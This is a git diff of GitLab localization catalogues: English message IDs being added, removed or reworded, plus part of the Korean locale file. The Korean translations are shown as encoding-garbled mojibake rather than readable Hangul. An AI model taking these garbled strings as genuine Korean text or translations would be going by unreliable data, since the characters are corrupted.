@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index 9ac38d4ed1c..c303506be32 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:22\n"
+"PO-Revision-Date: 2021-06-01 20:42\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d ë ˆì´ì–´"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}그룹%{group_docs_link_end}ì„ ì‚¬ìš©í•˜ë©´ 여러 프로ì íŠ¸ë¥¼ 관리하고 ê³µë™ ìž‘ì—…ì„ ìˆ˜í–‰ í•  수 있습니다. 그룹 회ì›ì€ 모든 프로ì íŠ¸ì— 액세스 í•  수 있습니다."
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,10 +593,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}ì—­í•  ê¶Œí•œì— ëŒ€í•´ ìžì„¸ížˆ 알아보기%{link_end}"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -779,9 +786,6 @@ msgstr "%{state} ì—픽"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr "%{userName} (머지할 수 ì—†ìŒ)"
msgid "%{userName}'s avatar"
msgstr "%{userName}ì˜ ì•„ë°”íƒ€"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} 프로필 페ì´ì§€"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -952,9 +962,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' 는 ìž„í¬íŠ¸ 소스가 아닙니다."
@@ -1260,6 +1267,9 @@ msgstr "Let's Encrypt SSL ì¸ì¦ì„œëŠ” ë„ë©”ì¸ì´ ì¸ì¦ë˜ê¸° ì „ì—는 사ìš
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "ì´ë©”ì¼ ì£¼ì†Œë¥¼ ì‚¬ìš©í•˜ì—¬ì´ GitLab ì„¤ì¹˜ì— ëŒ€í•´ Let 's Encrypt ê³„ì •ì´ êµ¬ì„±ë©ë‹ˆë‹¤. ì¸ì¦ì„œ 만료를 경고하는 ì´ë©”ì¼ì„ 받게ë©ë‹ˆë‹¤."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "ì´ ê¸°ë³¸ 페ì´ì§€ì™€ 서버리스 ê¸°ëŠ¥ì€ AWS Lambda, AWS API Gateway, 그리고 GitLab를 사용합니다"
@@ -1281,6 +1291,9 @@ msgstr "ì‚­ì œëœ ì‚¬ìš©ìž"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "파ì¼ì´ 변경ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "프로ì íŠ¸ëŠ” 파ì¼ì„ 저장하고 (저장소), ìž‘ì—… 계íšì„ 세우며 (ì´ìŠˆ), 문서를 게시하는 ê³³ (위키) 입니다, %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,30 +1462,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS 엑세스 키"
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "ê´€ë¦¬ìž ì˜ì—­"
@@ -2226,9 +2245,6 @@ msgstr "환경 변수는 기본ì ìœ¼ë¡œ 보호ë©ë‹ˆë‹¤."
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "모든 프로ì íŠ¸ì˜ ìžë™ 앱 리뷰 ë° ìžë™ ë°°í¬ ë‹¨ê³„ì—ì„œ 기본ì ìœ¼ë¡œ 사용할 ë„ë©”ì¸ì„ 지정하십시오."
@@ -2316,6 +2326,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2334,6 +2347,9 @@ msgstr "2FA 사용 중지"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA 사용"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2382,6 +2398,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2412,6 +2443,9 @@ msgstr "LDAP ì°¨ë‹¨ëœ ì‚¬ìš©ìžì˜ ì°¨ë‹¨ì„ í•´ì œí•  수 없습니다."
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "비활성화"
@@ -2466,6 +2500,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr "ì´ê²ƒì€ 나!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2547,6 +2584,15 @@ msgstr "확ì¸ì„ 위해 %{projectName} 를 입력해주세요."
msgid "AdminUsers|To confirm, type %{username}"
msgstr "확ì¸ì„ 위해 %{username} ì„ ìž…ë ¥í•˜ì„¸ìš”"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2562,6 +2608,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2574,6 +2626,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2598,6 +2653,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2610,6 +2668,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2655,9 +2716,6 @@ msgstr "고급"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "고급 설정"
@@ -2695,9 +2753,6 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "알림"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3067,9 +3122,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "모든 ê¸°ëŠ¥ì€ ë¹„ì–´ìžˆëŠ” 프로ì íŠ¸, 템플릿, 가져올 ë•Œ 사용할 수 있지만 ë‚˜ì¤‘ì— í”„ë¡œì íŠ¸ 설정ì—ì„œ 비활성화 í•  수 있습니다."
-
msgid "All groups and projects"
msgstr "모든 그룹과 프로ì íŠ¸"
@@ -3172,6 +3224,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr "í—ˆìš©ëœ Geo IP"
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3385,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr "마í¬ë‹¤ìš´ 미리보기를 가져 오는 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3478,9 +3536,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3550,7 +3605,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4019,6 +4074,9 @@ msgstr "승ì¸ìž"
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "4ì›”"
@@ -4049,16 +4107,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "ë³´ê´€ëœ í”„ë¡œì íŠ¸! 저장소 ë° ê¸°íƒ€ 프로ì íŠ¸ 리소스는 ì½ê¸° 전용입니다."
